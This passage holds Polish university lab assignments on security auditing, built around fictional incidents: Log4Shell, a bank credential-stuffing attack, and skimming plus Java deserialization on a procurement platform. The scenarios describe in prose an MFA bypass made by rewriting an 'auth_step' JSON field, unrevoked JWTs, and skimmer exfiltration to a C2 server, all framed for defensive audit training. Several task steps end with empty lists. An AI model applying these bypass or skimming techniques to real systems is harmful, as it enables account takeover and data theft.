• Dekonstrukcja techniczna ataku Log4Shell i analizy klastra OpenShift (4 min): Prezentacja wektora JNDI LDAP w nagłówku User-Agent, zrzutów ruchu sieciowego, analiza podatności w plikach pom.xml oraz mechanizm działania złośliwego ładunku Java (Student B - Technical SecOps Auditor).
• Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z KSC, NIS2, CER, standardem SLSA i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
• Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie generowania SBOM CycloneDX, bramek SCA Trivy, podpisywania Cosign i rygorystycznego SLA 24h (Student B i Student C).
• Dyskusja z komisją i obrona rekomendacji (1 min): Merytoryczne uzasadnienie kosztów narzędzi SCA w relacji do strat z 14-godzinnego paraliżu sprzedaży (cała Triada Audytorska).

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

• Bilans ryzyk technologicznych w łańcuchu dostaw oprogramowania (IR vs RR).
• Skutki incydentu RCE dla ciągłości transportu publicznego.
• Budżet Planu CAP (410 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na zaawansowane pytania problemowe i opis sytuacji kryzysowej:

• Czym charakteryzował się mechanizm podatności Log4Shell (CVE-2021-44228), dlaczego funkcja JNDI Message Lookup doprowadziła do globalnego kryzysu cyberbezpieczeństwa i jakie mechanizmy architektury kontenerowej (zasada Least Privilege, Read-Only Root Filesystem, Network Policies) ograniczają skutki potencjalnego RCE?
• W jaki sposób format Software Bill of Materials (SBOM) w standardzie CycloneDX umożliwia automatyczną identyfikację podatności w łańcuchu dostaw oprogramowania w czasie rzeczywistym, jeszcze przed zgłoszeniem incydentu?
• Czym różni się standard SLSA (Supply-chain Levels for Software Artifacts) od tradycyjnego skanowania kodu i jakie gwarancje integralności procesu budowania daje poziom SLSA Build Level 3?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 10.0 Critical).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Zarządzania SBOM i Łańcuchem Dostaw (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (narzut czasowy skanowania SCA i generowania SBOM w potoku CI/CD vs tempo wydań produkcyjnych).

H. Bibliografia, netografia i regulacje prawne.

• OWASP Foundation: "OWASP Top 10:2021", Kategoria A06:2021 Vulnerable and Outdated Components.
• OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V13 External Components.
• Cybersecurity and Infrastructure Security Agency (CISA): "Software Bill of Materials (SBOM) and Supply Chain Risk Management", 2023.
• Open Source Security Foundation (OpenSSF): "Supply-chain Levels for Software Artifacts (SLSA) Specification v1.0", 2023.
• Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2555 z dnia 14 grudnia 2022 r. (Dyrektywa NIS2) - art. 21 ust. 2 lit. d (Bezpieczeństwo łańcucha dostaw).
• Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2557 z dnia 14 grudnia 2022 r. w sprawie odporności podmiotów krytycznych (Dyrektywa CER).
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.8 (Zarządzanie podatnościami technicznymi), A.5.19, A.5.20, A.5.21 (Łańcuch dostaw ICT).
• Ustawa z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczeństwa (Dz.U. z 2023 r. poz. 913 z późn. zm.).

• U2 Precyzyjna identyfikacja i formalna kwalifikacja luk łańcucha dostaw (RCE Log4Shell) w modelu 4C oraz analiza 5 Why.
• U1 Projekt zintegrowanego systemu zarządzania SBOM CycloneDX, integracji skanerów SCA i wdrożenia standardu SLSA Level 3.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
• U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
• W1W2W3 Wyczerpująca znajomość ustawy o KSC, NIS2, CER, Cyber Resilience Act, normy ISO 27001 i frameworku SLSA.
• K1K2K3 Obiektywizm, niezależność audytorska, bezkompromisowa ochrona ciągłości transportu publicznego i etyka zawodowa.

Podczas wystąpienia przed komisją zademonstrujcie strukturę przykładowego pliku SBOM w formacie CycloneDX weryfikującego zależność biblioteki Log4j oraz wskażcie, w jaki sposób zautomatyzowana bramka Quality Gate w potoku CI/CD uniemożliwia wdrożenie kodu z niezałatana podatnością o CVSS=10.0.

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce rygorystycznego audytu mechanizmów identyfikacji, uwierzytelniania oraz zarządzania sesją użytkowników (kategoria OWASP Top 10:2021 - A07:2021 Identification and Authentication Failures) w systemie bankowości elektronicznej i mobilnej 'e-Bank' komercyjnego banku uniwersalnego. Instytucja przetwarza miliony operacji finansowych i podlega bezpośredniemu nadzorowi Komisji Nadzoru Finansowego (KNF) oraz rygorom Rozporządzenia DORA. Audyt koncentruje się na krytycznym incydencie przełamania zabezpieczeń dostępowych: zmasowanym ataku typu Credential Stuffing z wykorzystaniem rozproszonego botnetu odpytującego endpoint API `/api/v2/auth/login`, na którym z powodu "optymalizacji doświadczeń klienta (UX)" wyłączono mechanizmy blokady kont po błędnych próbach logowania oraz inteligentny Rate Limiting. Ponadto audyt ujawnił krytyczną podatność logiczną w wieloetapowej procedurze silnego uwierzytelnienia klienta (Strong Customer Authentication - SCA): manipulacja parametrem stanu w odpowiedzi JSON (`"auth_step": "PENDING_MFA"` zmienione w proxy na `"auth_step": "SUCCESS"`) pozwalała na całkowite ominięcie autoryzacji SMS/push, a tokeny JSON Web Token (JWT) nie były unieważniane po wylogowaniu klienta (brak mechanizmu czarnej listy tokenów w klastrze cache). W efekcie przestępcy przejęli kontrolę nad kontami 1 200 zamożnych klientów Private Banking i zrealizowali nieautoryzowane przelewy natychmiastowe Express Elixir na łączną kwotę 14,8 mln PLN. Zadanie wymaga dekompozycji w kanonicznym modelu 4C, kwantyfikacji ryzyka w 25-stopniowej matrycy 5x5 skorelowanej z punktacją CVSS v3.1 (9.8 Critical) oraz parametrami ciągłości działania BCM (RTO=10m, RPO=0s, MTPD=15m), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) regulującego standardy adaptacyjnego uwierzytelniania FIDO2/WebAuthn, zarządzania cyklem życia sesji i detekcji anomalii oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Zarządu Banku i KNF.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

• W1 Zaawansowana znajomość rygorów sektora bankowego, Rozporządzenia DORA, Rekomendacji D i M KNF, Wytycznych Europejskiego Urzędu Nadzoru Bankowego (EBA GL) w sprawie bezpieczeństwa płatności internetowych, Prawa bankowego (art. 105 - ochrona tajemnicy bankowej) oraz odpowiedzialności odszkodowawczej.
• W2W3 Rygorystyczna korelacja standardów OWASP Top 10:2021 (A07), OWASP ASVS v4.0.3 L3 (Sekcja V2 Uwierzytelnianie, Sekcja V3 Zarządzanie Sesją), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.5 Bezpieczne uwierzytelnianie, A.8.15 Rejestrowanie zdarzeń, A.8.16 Monitorowanie aktywności) oraz standardu FIDO Alliance (FIDO2/WebAuthn).
• U1 Opracowanie zaleceń inżynierskich adaptacyjnego MFA opartego na kontekście ryzyka (Risk-Based Authentication), wdrożenia sprzętowych kluczy FIDO2/Passkeys, unieważniania tokenów JWT za pomocą rozproszonej czarnej listy w Redis (Token Revocation List / Bloom Filter) oraz silnika behawioralnej detekcji botów i anomalii logowania.
• U2 Bezbłędna kwalifikacja uchybienia uwierzytelniania w modelu 4C z precyzyjnym powołaniem regulacji DORA, KNF i EBA.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów masowej kradzieży środków z kont, ominięcia SCA i utraty licencji bankowej (IR=25, CVSS=9.8, korelacja z BCM).
• U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
• K1K2K3 Profesjonalizm audytorski, niezależność w ocenie kompromisów wygody użytkownika i bezpieczeństwa, odporność na presję biznesu i wysoka kultura bankowa.
• Powiązanie z wykładem: Wyk1 (Audyt ładu korporacyjnego w bankowości), Wyk3 (Kontrole A.8.5 i A.8.16 ISO 27001), Wyk4 (DORA, Rekomendacja D KNF i EBA GL), Wyk5 (Matryca ryzyka 5x5 i BCM w rozliczeniach międzybankowych), Wyk6 (Analiza logów sesji i przepływów JWT/OAuth), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).

Bank Komercyjny 'Polskie Centrum Rozliczeń S.A.' jest licencjonowaną instytucją finansową zrzeszającą ponad 800 000 klientów indywidualnych i korporacyjnych. System bankowości internetowej 'e-Bank' oraz aplikacja mobilna przetwarzają dziennie transakcje o wartości setek milionów złotych za pośrednictwem klastrów rozliczeniowych połączonych z Krajową Izbą Rozliczeniową (KIR).

Stan faktyczny w obszarze mechanizmów uwierzytelniania i incydentu przestępczego:

• W architekturze warstwy logowania bank wdrożył mikroserwis uwierzytelniania oparty na tokenach JWT i protokole OAuth 2.0 / OpenID Connect. Na wniosek Departamentu Sprzedaży i Marketingu wyłączono mechanizm blokowania rachunku po 3 błędnych próbach wprowadzenia hasła oraz wyłączono mechanizm CAPTCHA, argumentując to "chęcią eliminacji tarć i poprawy współczynnika konwersji klientów".
• W interfejsie API logowania (`POST /api/v2/auth/login`) brakowało adaptacyjnego ograniczania zapytań (Rate Limiting). Przestępcy, posługując się bazami wycieków haseł z innych portali internetowych (tzw. Combo Lists), przeprowadzili skoordynowany atak Credential Stuffing z wykorzystaniem 15 000 adresów IP węzłów sieci proxy i botnetu. W ciągu jednej nocy wykonano 4,2 miliona prób logowania z prędkością 80 zapytań na sekundę.
• Co gorsza, w module silnego uwierzytelnienia klienta (SCA) wykryto krytyczną wadę implementacyjną po stronie klienta i serwera: aplikacja po poprawnym sprawdzeniu loginu i hasła wysyłała odpowiedź HTTP 200 z obiektem JSON zawierającym pole `{"auth_step": "PENDING_MFA", "session_context": "..."}`. Modyfikacja tej wartości w locie za pomocą narzędzi proxy (Burp Suite) na `{"auth_step": "SUCCESS", "session_context": "..."}` sprawiała, że frontendowa aplikacja Angular przechodziła bezpośrednio do pulpitu klienta, a backendowy interfejs API bezsprzecznie generował pełnowartościowy token JWT z uprawnieniami do zlecania przelewów, całkowicie ignorując wymóg weryfikacji kodu SMS lub powiadomienia Push.
• Dodatkowo tokeny JWT generowane były z czasem życia (TTL) wynoszącym 24 godziny. Kliknięcie opcji 'Wyloguj' powodowało jedynie usunięcie tokenu z pamięci przeglądarki (Local Storage), podczas gdy serwer autoryzacyjny nie posiadał mechanizmu czarnej listy tokenów (Token Blacklist w Redis). Wykradziony token pozostawał w pełni aktywny przez resztę doby.
• W toku skoordynowanego uderzenia sprawcy zalogowali się na konta 1 200 zamożnych klientów i zlecili masowe przelewy natychmiastowe Express Elixir na łączną kwotę 14,8 mln PLN do tzw. słupów i na giełdy kryptowalutowe, co wywołało kryzys płynnościowy i paraliż linii wsparcia klienta. Bank stanął w obliczu utraty reputacji, masowego odpływu depozytów oraz natychmiastowej kontroli doraźnej Departamentu Cyberbezpieczeństwa Urzędu Komisji Nadzoru Finansowego (UKNF).

Prezes Zarządu Banku, w porozumieniu z Radą Nadzorczą, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

• Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

  Student A (Lead Auditor / Zgodność z DORA i Wytycznymi KNF): Odpowiada za ład regulacyjny sektora finansowego, zgodność z Rozporządzeniem DORA (art. 9 i 13), Rekomendacją D i M KNF, wytycznymi EBA ws. SCA, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board") dla Zarządu i UKNF.

  Student B (Technical SecOps Auditor / Architekt Identyfikacji i Sesji): Dekonstruuje wektor Credential Stuffing, bada lukę ominięcia SCA w protokole autoryzacji, analizuje strukturę tokenów JWT, brak czarnej listy w Redis, projektuje architekturę uwierzytelniania adaptacyjnego FIDO2/WebAuthn, silnik analizy behawioralnej i token revocation w Redis.

  Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.8 Critical) i BCM (RTO=10m, RPO=0s, MTPD=15m), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

• Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

  Sformułujcie kartę uchybienia krytycznego w modelu 4C:

• Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

  Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

• Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

  Opracujcie tabelę CAP w 3 horyzontach czasowych:

• Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

  Zredagujcie sformalizowany akt normatywny: "Standard Zarządzania Identyfikacją, Uwierzytelnianiem i Sesją Elektroniczną w Banku Polskie Centrum Rozliczeń S.A." z numerowanymi artykułami:

  • § 1 Cel procedury i ramy prawne (zgodność z DORA, Rekomendacją D i EBA GL).
  • § 2 Obowiązkowe mechanizmy obrony przed atakami masowymi (blokady kont, reguły antybotowe i adaptacyjny rate limiting).
  • § 3 Architektura Silnego Uwierzytelnienia Klienta SCA (wymóg stanowej weryfikacji na backendzie i zakaz ufania danym od klienta).
  • § 4 Standardy zarządzania cyklem życia sesji JWT (parametry TTL, tokeny odświeżające Refresh Tokens i czarne listy w Redis).
  • § 5 Wymogi wdrożenia standardu FIDO2 / WebAuthn w kanałach cyfrowych.
  • § 6 Procedura awaryjnego blokowania sesji w przypadku podejrzenia incydentu i odpowiedzialność służbowa.
• Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

  Przygotujcie 1-stronicowy dokument dla Zarządu Banku i KNF: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), plan odzyskania 14,8 mln PLN, ochrona depozytów o wartości 8 mld PLN, uniknięcie kar z DORA (do 10 mln EUR) i zarządu komisarycznego, kosztorys CAP (480 000 PLN na FIDO2, Redis i WAF) oraz stopa zwrotu z inwestycji (ROSI: ochrona reputacji i licencji bankowej).

Plan obrony seminaryjnej przed komisją laboratoryjną (15 minut):

• Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Zarządu Banku (3 min): Przedstawienie skali incydentu na kontach Private Banking, ekspozycji na sankcje KNF/DORA oraz bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
• Dekonstrukcja techniczna ataku Credential Stuffing i ominięcia SCA (4 min): Prezentacja zrzutów ruchu HTTP, dekompozycja odpowiedzi JSON w module SCA, analiza braku unieważniania tokenów JWT oraz demonstracja wektora ataku botnetowego (Student B - Technical SecOps Auditor).
• Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z DORA, Rekomendacją D KNF, wytycznymi EBA i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
• Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie wdrożenia FIDO2/WebAuthn, filtrów Blooma w klastrze Redis, silnika Fraud Detection i procedury raportowania do KNF (Student B i Student C).
• Dyskusja z komisją i obrona rekomendacji (1 min): Merytoryczne uzasadnienie wyższości kluczy FIDO2 nad kradzionymi kodami SMS (cała Triada Audytorska).

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

• Syntetyczny bilans ryzyk autoryzacyjnych w sektorze bankowym (IR vs RR).
• Skutki incydentu przejęcia kont dla stabilności instytucji finansowej.
• Budżet Planu CAP (480 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

• W jaki sposób zorganizowane grupy cyberprzestępcze przeprowadzają ataki typu Credential Stuffing z wykorzystaniem rozproszonych botnetów i jakie zaawansowane mechanizmy detekcji (Device Fingerprinting, analiza behawioralna ruchów myszy/klawiatury, reputacja IP) skutecznie odróżniają człowieka od bota?
• Dlaczego przechowywanie stanu procedury Silnego Uwierzytelnienia Klienta (SCA) w tokenach po stronie przeglądarki jest błędem krytycznym i jak powinna wyglądać weryfikacja stanowa (Stateful Verification) na backendzie serwera autoryzacyjnego?
• W jaki sposób architektura FIDO2 / WebAuthn eliminuje zagrożenie phishingu i kradzieży poświadczeń poprzez zastosowanie kryptografii asymetrycznej i powiązanie z domeną internetową (Origin Binding)?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 9.8 Critical).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Zarządzania Uwierzytelnianiem (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (wygoda użytkownika UX vs rygoryzm silnego uwierzytelniania w bankowości).

H. Bibliografia, netografia i regulacje prawne.

• OWASP Foundation: "OWASP Top 10:2021", Kategoria A07:2021 Identification and Authentication Failures.
• OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V2 Authentication, Sekcja V3 Session Management.
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2022/2554 z dnia 14 grudnia 2022 r. w sprawie operacyjnej odporności cyfrowej sektora finansowego (Rozporządzenie DORA).
• Komisja Nadzoru Finansowego (KNF): "Rekomendacja D dotycząca zarządzania obszarami technologii informacyjnej i bezpieczeństwa środowiska teleinformatycznego w bankach", Warszawa 2013/2020.
• Europejski Urząd Nadzoru Bankowego (EBA): "Wytyczne w sprawie bezpieczeństwa płatności internetowych (EBA/GL/2014/12)", 2014.
• FIDO Alliance: "FIDO2: Moving Beyond Passwords - WebAuthn & CTAP Specifications", 2023.
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.5 (Bezpieczne uwierzytelnianie), A.8.15 (Rejestrowanie zdarzeń), A.8.16 (Monitorowanie aktywności).
• Ustawa z dnia 29 sierpnia 1997 r. - Prawo bankowe (Dz.U. z 2023 r. poz. 2488 z późn. zm.) - art. 105 (Tajemnica bankowa).

• U2 Precyzyjna identyfikacja i formalna kwalifikacja uchybień uwierzytelniania (ominiecie SCA, brak unieważniania JWT) w modelu 4C oraz analiza 5 Why.
• U1 Projekt zintegrowanej architektury adaptacyjnego uwierzytelniania, klastra Redis Token Revocation i standardu FIDO2.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
• U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
• W1W2W3 Wyczerpująca znajomość DORA, Rekomendacji D KNF, wytycznych EBA, normy ISO 27001 i standardów FIDO.
• K1K2K3 Obiektywizm, wysoka kultura bankowa, bezkompromisowa ochrona środków powierzonych przez klientów i etyka zawodowa.

Podczas obrony referatu przedstawcie komisji diagram sekwencji protokołu uwierzytelniania przed audytem (błędna zależność od flagi JSON po stronie klienta) oraz po wdrożeniu Planu CAP z zastosowaniem kryptograficznego wyzwania FIDO2 i walidacji tokenów w filtrze Blooma w Redis.

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce specjalistycznego audytu integralności oprogramowania i przetwarzanych danych (kategoria OWASP Top 10:2021 - A08:2021 Software and Data Integrity Failures) w centralnym systemie administracji rządowej - Krajowej Platformie 'e-Zamówienia' prowadzonej przez Urząd Zamówień Publicznych (UZP). Platforma jest kluczowym filarem gospodarki państwa, obsługującym rocznie postępowania przetargowe o łącznej wartości przekraczającej 400 mld PLN. Audyt ujawnia kumulację krytycznych uchybień w zakresie nienaruszalności kodu i danych: ładowanie zewnętrznych bibliotek JavaScript (m.in. jQuery, Vue.js, modułów kryptograficznych szyfrowania ofert) z publicznych sieci Content Delivery Network (CDN) bez mechanizmu weryfikacji integralności skrótem kryptograficznym Subresource Integrity (brak atrybutów `integrity="sha384-..."` i `crossorigin="anonymous"`), a także stosowanie podatnej natywnej deserializacji obiektów Java w module archiwizacji dokumentacji ofertowej. W toku incydentu kompromitacja zewnętrznego węzła CDN umożliwiła cyberprzestępcom wstrzyknięcie złośliwego kodu typu Web Skimming (Magecart) do formularza składania ofert. Skrypt wykradał klucze prywatne wykonawców i odszyfrowywał oferty cenowe w strategicznych przetargach zbrojeniowych, energetycznych i infrastrukturalnych na 72 godziny przed oficjalnym terminem otwarcia ofert. Ponadto payload deserializacyjny przesłany w pliku archiwalnym ZIP wywołał zdalne wykonanie kodu RCE na klastrze bazodanowym platformy. Zadanie wymaga dekompozycji w kanonicznym modelu 4C, kwantyfikacji ryzyka w 25-stopniowej matrycy 5x5 skorelowanej ze wskaźnikami CVSS v3.1 (9.8 Critical) oraz BCM (RTO=20m, RPO=0s, MTPD=1h), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) regulującego standardy SRI, restrykcyjne polityki Content-Security-Policy (CSP), bezpieczną serializację JSON oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Prezesa UZP i Kolegium Ministra Cyfryzacji.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

• W1 Zaawansowana znajomość przepisów Ustawy - Prawo zamówień publicznych (art. 74 - zasada jawności i bezwzględnej poufności ofert przed otwarciem), przepisów KRI, Dyrektywy NIS2, tajemnicy państwowej i przedsiębiorstwa oraz odpowiedzialności karnej z art. 305 KK (udaremnienie lub utrudnienie przetargu publicznego).
• W2W3 Rygorystyczna korelacja standardów OWASP Top 10:2021 (A08), OWASP ASVS v4.0.3 L3 (Sekcja V10 Złośliwy Kod i Integralność Oprogramowania, Sekcja V14 Konfiguracja CSP), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.24 Krypto-zabezpieczenia, A.8.28 Bezpieczne kodowanie, A.5.19 Łańcuch dostaw) oraz wytycznych W3C dotyczących Subresource Integrity (SRI).
• U1 Opracowanie zaleceń inżynierskich migracji skryptów z zewnętrznych CDN na lokalny hosting artefaktów (Self-Hosted Assets), wdrożenia dyrektywy CSP `require-sri-for script style`, automatyzacji wyliczania sum SHA-384 w potoku Webpack/Vite oraz całkowitej likwidacji natywnej deserializacji Java na rzecz bezpiecznych parserów JSON z rygorystycznym JSON Schema.
• U2 Bezbłędna kwalifikacja uchybienia integralności w modelu 4C z precyzyjnym powołaniem PZP, KRI i norm ISO.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów kradzieży ofert przetargowych, sfałszowania dokumentacji i przejęcia serwerów przez RCE deserializacji (IR=25, CVSS=9.8, korelacja z BCM).
• U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
• K1K2K3 Profesjonalizm audytorski, niezależność osądu w badaniu administracji rządowej, ochrona uczciwości zamówień publicznych i wysoka etyka inżynierska.
• Powiązanie z wykładem: Wyk1 (Audyt w administracji centralnej), Wyk3 (Kontrole A.8.24 i A.8.28 ISO 27001), Wyk4 (PZP, KRI i NIS2), Wyk5 (Matryca ryzyka 5x5 i BCM), Wyk6 (Inspekcja kodu JavaScript, nagłówków CSP i ładunków ysoserial), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).

Krajowa Platforma 'e-Zamówienia' prowadzona przez Urząd Zamówień Publicznych w Warszawie jest strategicznym systemem teleinformatycznym państwa. Za pośrednictwem portalu jednostki samorządu terytorialnego, ministerstwa, szpitale, wojsko oraz spółki Skarbu Państwa publikują ogłoszenia o zamówieniach, a wykonawcy składają zaszyfrowane oferty handlowe i techniczne opatrzone kwalifikowanymi podpisami elektronicznymi.

Stan faktyczny w obszarze mechanizmów integralności i incydentu wycieku ofert:

• W warstwie frontendowej portalu programiści zdecydowali się na ładowanie kluczowych bibliotek JavaScript z zewnętrznych, publicznych sieci CDN (np. `cdnjs.cloudflare.com` oraz `cdn.jsdelivr.net`). W znacznikach `<script>` w kodzie strony głównej oraz modułu składania ofert: `<script src="https://cdn.jsdelivr.net/npm/vue@3.2.47/dist/vue.global.prod.js"></script>` oraz `<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>` całkowicie zignorowano atrybuty `integrity` zawierające skrót kryptograficzny SHA-384 oraz atrybut `crossorigin="anonymous"`.
• W nagłówkach odpowiedzi serwera NGINX brak było dyrektywy Content-Security-Policy (CSP) ograniczającej źródła wykonywania skryptów (`script-src`) oraz brak dyrektywy `require-sri-for script`.
• Zagraniczna grupa cyberprzestępcza dokonała kompromitacji konta maintainera jednej z mniej znanych bibliotek pomocniczych w publicznym rejestrze npm i podmieniła pakiet na węźle CDN, wstrzykując 18 linii złośliwego kodu JavaScript (atak Supply Chain / Web Skimming). Wstrzyknięty kod przechwytywał w przeglądarce wykonawcy wprowadzany klucz prywatny oraz jawny tekst formularza cenowego w momencie kliknięcia przycisku "Zaszyfruj i wyślij ofertę", a następnie wysyłał te dane w tle (poprzez ukryte żądanie WebSocket) na serwer C2 kontrolowany przez intruzów.
• Przez 14 dni intruzi przechwycili kompletne oferty cenowe i dokumentację techniczną w 84 strategicznych przetargach publicznych o łącznej wartości 12,4 mld PLN (w tym na budowę odcinków dróg ekspresowych, dostawy sprzętu medycznego dla szpitali onkologicznych oraz systemy łączności taktycznej dla Wojska Polskiego), co pozwoliło powiązanym podmiotom na złożenie ofert o ułamek procenta tańszych i wygranie postępowań.
• Ponadto w module archiwizacji dokumentacji przetargowej (`OfferArchiveManager.java`) odczyt skompresowanych ofert z bazy danych odbywał się za pomocą podatnej metody `ObjectInputStream.readObject()`. Intruzi, wykorzystując powszechny łańcuch gadżetów (Gadget Chain) biblioteki Apache Commons Collections, przesłali spreparowany obiekt binarny, uzyskując zdalne wykonanie kodu (RCE) na serwerze aplikacyjnym z uprawnieniami roota.

Prezes Urzędu Zamówień Publicznych oraz Minister Cyfryzacji, stając w obliczu skandalu gospodarczego na skalę międzynarodową, unieważnienia setek postępowań przetargowych, zawiadomienia ABW i CBA oraz kar finansowych, powołują Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

• Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

  Student A (Lead Auditor / Zgodność z Prawem Zamówień Publicznych i NIS2): Odpowiada za ład prawno-administracyjny, zgodność z art. 74 PZP, Dyrektywą NIS2, procedurami ABW/CBA, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board") dla Prezesa UZP i Ministra.

  Student B (Technical SecOps Auditor / Architekt Integralności Kodu i Aplikacji): Dokonuje dekonstrukcji kodu Web Skimming na CDN, bada brak atrybutów SRI w HTML, brak nagłówka CSP, analizuje ładunki RCE w `ObjectInputStream`, projektuje lokalne repozytorium artefaktów (Self-Hosted Assets) z automatyzacją wyliczania sum kontrolnych SHA-384 w potoku CI/CD, restrykcyjną politykę CSP oraz bezpieczną deserializację JSON Schema.

  Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.8 Critical) i BCM (RTO=20m, RPO=0s, MTPD=1h), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

• Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

  Sformułujcie kartę uchybienia krytycznego w modelu 4C:

• Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

  Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

• Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

  Opracujcie tabelę CAP w 3 horyzontach czasowych:

• Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

